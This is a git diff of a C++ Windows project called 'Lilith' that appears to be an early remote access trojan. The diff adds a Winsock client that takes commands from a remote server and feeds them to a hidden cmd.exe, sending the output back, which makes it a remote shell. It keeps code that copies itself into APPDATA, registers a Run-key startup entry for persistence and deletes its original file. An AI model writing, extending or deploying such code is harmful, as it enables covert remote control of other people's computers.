diff --git a/Lilith/Lilith.vcxproj b/Lilith/Lilith.vcxproj index 6c97a09..40c98cc 100644 --- a/Lilith/Lilith.vcxproj +++ b/Lilith/Lilith.vcxproj @@ -113,12 +113,16 @@ + + + + diff --git a/Lilith/Lilith.vcxproj.filters b/Lilith/Lilith.vcxproj.filters index f54f200..6b1e782 100644 --- a/Lilith/Lilith.vcxproj.filters +++ b/Lilith/Lilith.vcxproj.filters @@ -33,6 +33,12 @@ Source Files\Utility + + Source Files + + + Source Files + @@ -50,5 +56,11 @@ Header Files\Utility + + Header Files + + + Header Files + \ No newline at end of file diff --git a/Lilith/client.cpp b/Lilith/client.cpp new file mode 100644 index 0000000..8994139 --- /dev/null +++ b/Lilith/client.cpp @@ -0,0 +1,131 @@ +#include "client.h" +#include "general.h" +#include "cmdRedirect.h" + +void Client::ClientThread() +{ + while (clientptr->connected) + { + //process packets + } + + if (clientptr->CloseConnection()) //Try to close socket connection..., If connection socket was closed properly + { + + } + else //If connection socket was not closed properly for some reason from our function + { + + } +} + +enum Client::PacketType +{ + P_Instruction, + P_CMDCommand +}; + +bool Client::ReceivePacket() +{ + PacketType packettype; + recv(sConnection, (char*)&packettype, sizeof(PacketType), NULL); //receive packet type + ProcessPacket(packettype); + return true; +} + +bool Client::ProcessPacket(PacketType _packettype) +{ + int bufferlength; + recv(sConnection, (char*)&bufferlength, sizeof(int), NULL); //receive packet length + char* buffer = new char[bufferlength + 1]; //Allocate buffer + buffer[bufferlength] = '\0'; //Set last character of buffer to be a null terminator so we aren't printing memory that we shouldn't be looking at + recv(sConnection, buffer, bufferlength, NULL); //receive message + + switch (_packettype) + { + case PacketType::P_Instruction: + { + General::processCommand(buffer); + } + case PacketType::P_CMDCommand: + { + if (CMD::cmdptr != NULL) + { + CMD::cmdptr->writeCMD(buffer); + sendPacket(CMD::cmdptr->readCMD(), PacketType::P_CMDCommand); + } + else + { + General::sendError("Initiate a CMD session first."); + } + } + default: + delete[] buffer; + return false; + } + + delete[] buffer; +} + +bool Client::sendPacket(std::string message, PacketType _PacketType) +{ + if (send(sConnection, (char*)&_PacketType, sizeof(PacketType), NULL) == SOCKET_ERROR) + { + General::sendError("Error sending Packet: Error sending Type"); + return false; + } + int bufferlength = message.size(); + if (send(sConnection, (char*)&bufferlength, sizeof(int), NULL) == SOCKET_ERROR) + { + General::sendError("Error sending Packet: Error sending size"); + return false; + } + if (send(sConnection, message.c_str(), bufferlength, NULL) == SOCKET_ERROR) + { + General::sendError("Error sending Packet: Error sending message"); + return false; + } + return true; + +} + +Client::Client(std::string IP, int PORT) +{ + //Winsock Startup + WSAData wsaData; + WORD DllVersion = MAKEWORD(2, 2); + if (WSAStartup(DllVersion, &wsaData) != 0) + { + MessageBoxA(NULL, "Winsock startup failed", "Error", MB_OK | MB_ICONERROR); + exit(0); + } + + addr.sin_addr.s_addr = inet_addr(IP.c_str()); //Address (127.0.0.1) = localhost (this pc) + addr.sin_port = htons(PORT); //Port + addr.sin_family = AF_INET; //IPv4 Socket + clientptr = this; //Update ptr to the client which will be used by our client thread +} + +bool Client::Connect() +{ + sConnection = socket(AF_INET, SOCK_STREAM, NULL); //Set Connection socket + if (connect(sConnection, (SOCKADDR*)&addr, sizeof(addr)) != 0) //If we are unable to connect... + { + return false; + } + + CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ClientThread, NULL, NULL, NULL); //Create the client thread that will receive any data that the server sends. + return true; +} + +bool Client::CloseConnection() +{ + if (closesocket(sConnection) == SOCKET_ERROR) + { + if (WSAGetLastError() == WSAENOTSOCK) //If socket error is that operation is not performed on a socket (This happens when the socket has already been closed) + return true; //return true since connection has already been closed + + return false; + } + return true; +} \ No newline at end of file diff --git a/Lilith/client.h b/Lilith/client.h new file mode 100644 index 0000000..55834c3 --- /dev/null +++ b/Lilith/client.h @@ -0,0 +1,47 @@ +#pragma once +#define _WINSOCK_DEPRECATED_NO_WARNINGS + +#pragma comment(lib,"ws2_32.lib") //Required for WinSock +#include //For win sockets +#include //For std::string +#include //For std::cout, std::endl, std::cin.getline + +class Client +{ +public: //Public functions + Client(std::string IP, int PORT); + bool Connect(); + + //bool SendString(std::string & _string, bool IncludePacketType = true); + bool CloseConnection(); + //bool RequestFile(std::string FileName); +private: //Private functions + //bool ProcessPacketType(PacketType _PacketType); + static void ClientThread(); + + enum PacketType; + bool ReceivePacket(); + bool ProcessPacket(PacketType _packettype); + bool Client::sendPacket(std::string message, PacketType _PacketType); + //Sending Funcs + //bool sendall(char * data, int totalbytes); + //bool Sendint32_t(int32_t _int32_t); + //bool SendPacketType(PacketType _PacketType); + + + //Getting Funcs + //bool recvall(char * data, int totalbytes); + //bool Getint32_t(int32_t & _int32_t); + //bool GetPacketType(PacketType & _PacketType); + //bool GetString(std::string & _string); + +private: + //FileTransferData file; //Object that contains information about our file that is being received from the server. + SOCKET sConnection;//This client's connection to the server + SOCKADDR_IN addr; //Address to be binded to our Connection socket + bool connected; +}; + + +static Client * clientptr; //This client ptr is necessary so that the ClientThread method can access the Client instance/methods. + //Since the ClientThread method is static, this is the simplest workaround I could think of since there will only be one instance of the client. \ No newline at end of file diff --git a/Lilith/cmdRedirect.cpp b/Lilith/cmdRedirect.cpp new file mode 100644 index 0000000..157461a --- /dev/null +++ b/Lilith/cmdRedirect.cpp @@ -0,0 +1,133 @@ +#include "cmdRedirect.h" + +CMD::CMD() +{ + saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); + saAttr.bInheritHandle = TRUE; + saAttr.lpSecurityDescriptor = NULL; + + if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) + General::handleError(3, false); + // Ensure the read handle to the pipe for STDOUT is not inherited. + + if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) + General::handleError(3, false); + // Create a pipe for the child process's STDIN. + + if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) + General::handleError(3, false); + + // Ensure the write handle to the pipe for STDIN is not inherited. + + if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) + General::handleError(3, false); + + createChildProcess(); + + cmdptr = this; +} + + +CMD* CMD::cmdptr = NULL; +bool CMD::cmdOpen = false; +HANDLE CMD::g_hChildProcess = NULL; +HANDLE CMD::g_hChildThread = NULL; + +void CMD::cmdThread() +{ + CMD cmd; + cmdOpen = true; + while (cmdOpen) + { + Sleep(1000); + } +} + +std::string CMD::readCMD() //read string from stdOut of cmd.exe //IMPLEMENT AS THREAD +{ + if (cmdOpen) + { + DWORD bytesAvailable; + DWORD bytesRead; + char buffer[128]; + std::string output; + + do //loop until bytes are available (until response is processed) + { + PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL); + Sleep(50); + } while (bytesAvailable <= 0); + + while (bytesAvailable > 0) //while there is something to read, read it into buffer and append buffer to string + { + ReadFile(g_hChildStd_OUT_Rd, buffer, 127, &bytesRead, NULL); + buffer[127] = '\0'; //NULL terminator of string + output += buffer; + bytesAvailable = bytesAvailable - bytesRead; + ZeroMemory(buffer, 128); //clears buffer (else memory leak) + } + return output; + } + else + return "CMD is not open"; +} + +void CMD::writeCMD(std::string command) //write a string to stdIn of cmd.exe +{ + if (cmdOpen) + { + command += '\n'; //apend '\n' to simulate "ENTER" + if (!WriteFile(g_hChildStd_IN_Wr, command.c_str(), command.size(), NULL, NULL)) + General::sendError("Couldn't write command '" + command + "' to stdIn."); + } + else + General::sendError("Couldn't write to CMD: CMD not open"); +} + +void CMD::createChildProcess() //creates child process ||copied from https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx || +{ + PROCESS_INFORMATION piProcInfo; + STARTUPINFO siStartInfo; + BOOL bSuccess = FALSE; + + // Set up members of the PROCESS_INFORMATION structure. + + ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION)); + + // Set up members of the STARTUPINFO structure. + // This structure specifies the STDIN and STDOUT handles for redirection. + + ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); + siStartInfo.cb = sizeof(STARTUPINFO); + siStartInfo.hStdError = g_hChildStd_OUT_Wr; + siStartInfo.hStdOutput = g_hChildStd_OUT_Wr; + siStartInfo.hStdInput = g_hChildStd_IN_Rd; + siStartInfo.dwFlags |= STARTF_USESTDHANDLES; + + // Create the child process. + + bSuccess = CreateProcess(TEXT("C:\\WINDOWS\\system32\\cmd.exe"), + NULL, // command line + NULL, // process security attributes + NULL, // primary thread security attributes + TRUE, // handles are inherited + CREATE_NO_WINDOW, // creation flags + NULL, // use parent's environment + NULL, // use parent's current directory + &siStartInfo, // STARTUPINFO pointer + &piProcInfo); // receives PROCESS_INFORMATION + + // If an error occurs, exit the application. + if (!bSuccess) + General::handleError(3, false); + else + { + // Close handles to the child process and its primary thread. + // Some applications might keep these handles to monitor the status + // of the child process, for example. + CloseHandle(piProcInfo.hProcess); + CloseHandle(piProcInfo.hThread); + } + g_hChildProcess = piProcInfo.hProcess; + g_hChildThread = piProcInfo.hThread; +} \ No newline at end of file diff --git a/Lilith/cmdRedirect.h b/Lilith/cmdRedirect.h new file mode 100644 index 0000000..84694c0 --- /dev/null +++ b/Lilith/cmdRedirect.h @@ -0,0 +1,34 @@ +#pragma once +#include //For std::string +#include //For std::cout, std::endl, std::cin.getline +#include +#include "general.h" + +class CMD +{ +public: //Public functions + CMD(); + static void cmdThread(); + + std::string readCMD(); + void writeCMD(std::string command); + +public: //Public variables + static CMD * cmdptr; + static bool cmdOpen; + +private: //Private functions + void createChildProcess(); + +private: //variables + HANDLE g_hChildStd_IN_Rd = NULL; + HANDLE g_hChildStd_IN_Wr = NULL; + HANDLE g_hChildStd_OUT_Rd = NULL; + HANDLE g_hChildStd_OUT_Wr = NULL; + + static HANDLE g_hChildProcess; + static HANDLE g_hChildThread; + + + SECURITY_ATTRIBUTES saAttr; +}; \ No newline at end of file diff --git a/Lilith/general.cpp b/Lilith/general.cpp index 42eed48..34f81fd 100644 --- a/Lilith/general.cpp +++ b/Lilith/general.cpp @@ -1,16 +1,9 @@ -#include -#include -#include -#include - #include "general.h" -using namespace std; - -bool regValueExists(HKEY hKey, LPCSTR keyPath, LPCSTR valueName) +bool General::regValueExists(HKEY hKey, LPCSTR keyPath, LPCSTR valueName) { DWORD dwType = 0; long lResult = 0; @@ -32,7 +25,7 @@ bool regValueExists(HKEY hKey, LPCSTR keyPath, LPCSTR valueName) return false; } -bool setStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args) +bool General::setStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args) { HKEY hKey = NULL; LONG lResult = 0; @@ -75,7 +68,7 @@ bool setStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args) } -bool directoryExists(const char* dirName) //checks if directory exists +bool General::directoryExists(const char* dirName) //checks if directory exists { DWORD attribs = ::GetFileAttributesA(dirName); if (attribs == INVALID_FILE_ATTRIBUTES) @@ -83,7 +76,7 @@ bool directoryExists(const char* dirName) //checks if directory exists return true; //original code : return (attribs & FILE_ATTRIBUTE_DIRECTORY); [CHANGED BC WARNING] } -void startProcess(LPCTSTR lpApplicationName, LPTSTR lpArguments) //starts a process +void General::startProcess(LPCTSTR lpApplicationName, LPTSTR lpArguments) //starts a process { // additional information STARTUPINFO si; @@ -109,36 +102,95 @@ void startProcess(LPCTSTR lpApplicationName, LPTSTR lpArguments) //starts a pro CloseHandle(pi.hThread); } -string getInstallFolder() //gets install folder (example: C:\users\USER\AppData\Roaming\InstallDIR) +std::string General::getInstallFolder() //gets install folder (example: C:\users\USER\AppData\Roaming\InstallDIR) { - string rest = ""; - if (!(folderName == "")) - rest = "\\" + folderName; + std::string rest = ""; + if (!(Settings::folderName == "")) + rest = "\\" + Settings::folderName; - string concat; + std::string concat; char* buf = 0; size_t sz = 0; - if (_dupenv_s(&buf, &sz, installLocation.c_str()) == 0) //gets environment variable + if (_dupenv_s(&buf, &sz, Settings::installLocation.c_str()) == 0) //gets environment variable if (buf != NULL) { - concat = string(buf) + rest; //concatenates string + concat = std::string(buf) + rest; //concatenates string free(buf); } return concat; } -string getInstallPath(string instFolder) //gets installpath (environment folder + folder name (if supplied) + file name) +std::string General::getInstallPath(std::string instFolder) //gets installpath (environment folder + folder name (if supplied) + file name) { - string concat; - concat = instFolder + "\\" + fileName; + std::string concat; + concat = instFolder + "\\" + Settings::fileName; return concat; } -string getCurrentPath() //gets current path of executable +std::string General::getCurrentPath() //gets current path of executable { char buf[MAX_PATH]; GetModuleFileName(0, buf, MAX_PATH); - return string(buf); + return std::string(buf); +} + + +void General::handleError(int errType, bool errSevere) //handles errors +{ + if (errSevere) + { + //restart client + } + else + { + switch (errType) + { + case 1: //general error + sendError("General error"); + case 2: //cmd error + sendError("CMD error"); + case 3: //networking error + sendError("Networking error"); + } + } + +} + +void General::sendError(std::string errorMessage) //send error message to server +{ + MessageBox(NULL, errorMessage.c_str(), "sendError replacement", NULL); +} + +void General::processCommand(std::string command) +{ + if (command == "kill") + { + + } + else if (command == "restart") + { + + } + else if (command == "cmdmode") + { + if (!CMD::cmdOpen) + { + CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CMD::cmdThread, NULL, NULL, NULL); + while (!CMD::cmdOpen) + { + Sleep(50); + } + } + else + { + CMD::cmdptr->writeCMD("exit"); + CMD::cmdOpen = false; + } + } + else + { + sendError("Command '" + command + "' was not recognized."); + } } \ No newline at end of file diff --git a/Lilith/general.h b/Lilith/general.h index b8ef910..d760540 100644 --- a/Lilith/general.h +++ b/Lilith/general.h @@ -2,20 +2,28 @@ #include #include +#include +#include -#include "settings.h" - -#ifndef GENERAL_H -#define GENERAL_H +#include "settings.h" +#include "cmdRedirect.h" -bool regValueExists(HKEY hKey, LPCSTR keyPath, LPCSTR valueName); //checks if a certain value exists in the registry -bool setStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args); //registers a program in startup with supplied name, path to exe and startup arguments -bool directoryExists(const char* dirName); //checks if directory exists -void startProcess(LPCTSTR lpApplicationName, LPTSTR lpArguments); //starts a process -std::string getInstallFolder(); //gets install folder (example: C:\users\USER\AppData\Roaming\InstallDIR) -std::string getInstallPath(std::string instFolder); //gets installpath (environment folder + folder name (if supplied) + file name) -std::string getCurrentPath(); //gets current path of executable +class General +{ +public: + static bool regValueExists(HKEY hKey, LPCSTR keyPath, LPCSTR valueName); //checks if a certain value exists in the registry + static bool setStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args); //registers a program in startup with supplied name, path to exe and startup arguments + static bool directoryExists(const char* dirName); //checks if directory exists + static std::string getInstallFolder(); //gets install folder (example: C:\users\USER\AppData\Roaming\InstallDIR) + static std::string getInstallPath(std::string instFolder); //gets installpath (environment folder + folder name (if supplied) + file name) + static std::string getCurrentPath(); //gets current path of executable +private: -#endif // !GENERAL_H \ No newline at end of file +public: //functions + static void startProcess(LPCTSTR lpApplicationName, LPTSTR lpArguments); //starts a process + static void handleError(int errType, bool errSevere); //handles errors + static void sendError(std::string errorMessage); //sends error msg to server + static void processCommand(std::string command); //processes command +}; diff --git a/Lilith/includes.h b/Lilith/includes.h index f64043f..f446fd6 100644 --- a/Lilith/includes.h +++ b/Lilith/includes.h @@ -12,5 +12,7 @@ #include "general.h" #include "conversion.h" +#include "cmdRedirect.h" + #endif // !INCLUDES_H \ No newline at end of file diff --git a/Lilith/main.cpp b/Lilith/main.cpp index 078c6b7..9103383 100644 --- a/Lilith/main.cpp +++ b/Lilith/main.cpp @@ -3,15 +3,16 @@ SETTINGS CAN BE EDITED IN "settings.cpp" */ - +#define WIN32_LEAN_AND_MEAN #include "includes.h" -using namespace std; + + //TESTFUNC -void testMB(string s) //TEST FUNCTION +void testMB(std::string s) //TEST FUNCTION { MessageBox(0, s.c_str(), "THIS IS A TEST", 0); } @@ -22,7 +23,7 @@ void testMB(string s) //TEST FUNCTION void setLocation() //sets location(copies file) { - if (!directoryExists(installFolder.c_str())) + if (!General::directoryExists(installFolder.c_str())) if (!CreateDirectory(installFolder.c_str(), NULL)) //tries to create folder { //[MAYBE DO SOMETHING LATER IF IT FAILS - PERHAPS REROUTE INSTALL TO APPDATA] @@ -42,7 +43,7 @@ bool locationSet() //checks if executable is located in install position bool startupSet() //checks if executable is starting on boot { - if (regValueExists(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName.c_str())) + if (General::regValueExists(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings::startupName.c_str())) return true; else return false; @@ -59,28 +60,28 @@ bool installed() //checks if executable is installed properly (location + start void installCheck() //checks if this run of the program is designated to the install process, then checks whether it should start the installed client { if (installing) - if (!startOnNextBoot) + if (!Settings::startOnNextBoot) { - startProcess(installPath.c_str(), meltSelf ? convStringToLPTSTR("t " + currentPath) : NULL); //REPLACE NULL TO, "meltSelf ? 'CURRENTPATH' : NULL" WHEN CREATEPROCESS FIXED + General::startProcess(installPath.c_str(), Settings::meltSelf ? convStringToLPTSTR("t " + currentPath) : NULL); //REPLACE NULL TO, "meltSelf ? 'CURRENTPATH' : NULL" WHEN CREATEPROCESS FIXED } } -int init() //startup of program +bool init() //startup of program { //VARIABLE SETUP - currentPath = getCurrentPath(); - installFolder = getInstallFolder(); - installPath = getInstallPath(installFolder); + currentPath = General::getCurrentPath(); + installFolder = General::getInstallFolder(); + installPath = General::getInstallPath(installFolder); - if (!(lpArguments == NULL || (lpArguments[0] == 0)) && meltSelf) + if (!(lpArguments == NULL || (lpArguments[0] == 0)) && Settings::meltSelf) //checks if arguments are supplied (path of old file) and then melts given file (if any) { remove(lpArguments); } - if (installSelf) + if (Settings::installSelf) { if (!locationSet()) //checks if it is at it's destined location (config in settings.h) { @@ -89,31 +90,34 @@ int init() //startup of program } } - if (setStartupSelf) + if (Settings::setStartupSelf) { - if (!startupSet()) + if (!startupSet()) //checks if it's startup is set { - setStartup(convStringToWidestring(startupName).c_str(), installSelf ? convStringToWidestring(installPath).c_str() : convStringToWidestring(currentPath).c_str(), NULL); + General::setStartup(convStringToWidestring(Settings::startupName).c_str(), Settings::installSelf ? convStringToWidestring(installPath).c_str() : convStringToWidestring(currentPath).c_str(), NULL); } } - installCheck(); + installCheck(); //checks if this run of the program is designated to the install process, then checks whether it should start the installed client - return installing ? 1 : 0; + return installing; } + + int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) //main function { //VARIABLE SETUP lpArguments = lpCmdLine; - - if (init() == 1) + /* + if (init()) return 0; - + */ + //test stuff (WORKS \o/) return 0; } \ No newline at end of file diff --git a/Lilith/settings.cpp b/Lilith/settings.cpp index 2c2ec85..a8fa79f 100644 --- a/Lilith/settings.cpp +++ b/Lilith/settings.cpp @@ -3,11 +3,11 @@ #include #include "settings.h" -extern std::string fileName = "latestProjectTest.exe"; //file name -extern std::string folderName = "latestProjectTestDIR"; //name of folder where file is located -extern std::string startupName = "latest proj test startup name"; //startup name in registry / taskmgr -extern std::string installLocation = "APPDATA"; //install location (appdata, programdata etc) -extern bool installSelf = true; //specifies whether the program should install itself -extern bool startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS) -extern bool meltSelf = false; //specifies whether the installed clone should delete the initial file -extern bool setStartupSelf = false; //specifies whether the program is to be started on system boot \ No newline at end of file +std::string Settings::fileName = "latestProjectTest.exe"; //file name +std::string Settings::folderName = "latestProjectTestDIR"; //name of folder where file is located +std::string Settings::startupName = "latest proj test startup name"; //startup name in registry / taskmgr +std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc) +bool Settings::installSelf = true; //specifies whether the program should install itself +bool Settings::startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS) +bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file +bool Settings::setStartupSelf = false; //specifies whether the program is to be started on system boot diff --git a/Lilith/settings.h b/Lilith/settings.h index 67a0b99..c93d48a 100644 --- a/Lilith/settings.h +++ b/Lilith/settings.h @@ -3,17 +3,17 @@ #include -#ifndef SETTINGS_H -#define SETTINGS_H +class Settings +{ +public: + static std::string fileName; //file name + static std::string folderName; //folder name + static std::string startupName; //startup name in registry / taskmgr + static std::string installLocation; //install location (appdata, programdata etc) + static bool installSelf; //specifies whether the program should install itself + static bool startOnNextBoot; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS) + static bool meltSelf; //specifies whether the installed clone should delete the initial file + static bool setStartupSelf; //specifies whether the program is to be started on system boot -extern std::string fileName; //file name -extern std::string folderName; //folder name -extern std::string startupName; //startup name in registry / taskmgr -extern std::string installLocation; //install location (appdata, programdata etc) -extern bool installSelf; //specifies whether the program should install itself -extern bool startOnNextBoot; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS) -extern bool meltSelf; //specifies whether the installed clone should delete the initial file -extern bool setStartupSelf; //specifies whether the program is to be started on system boot - -#endif // !SETTINGS_H \ No newline at end of file +}; \ No newline at end of file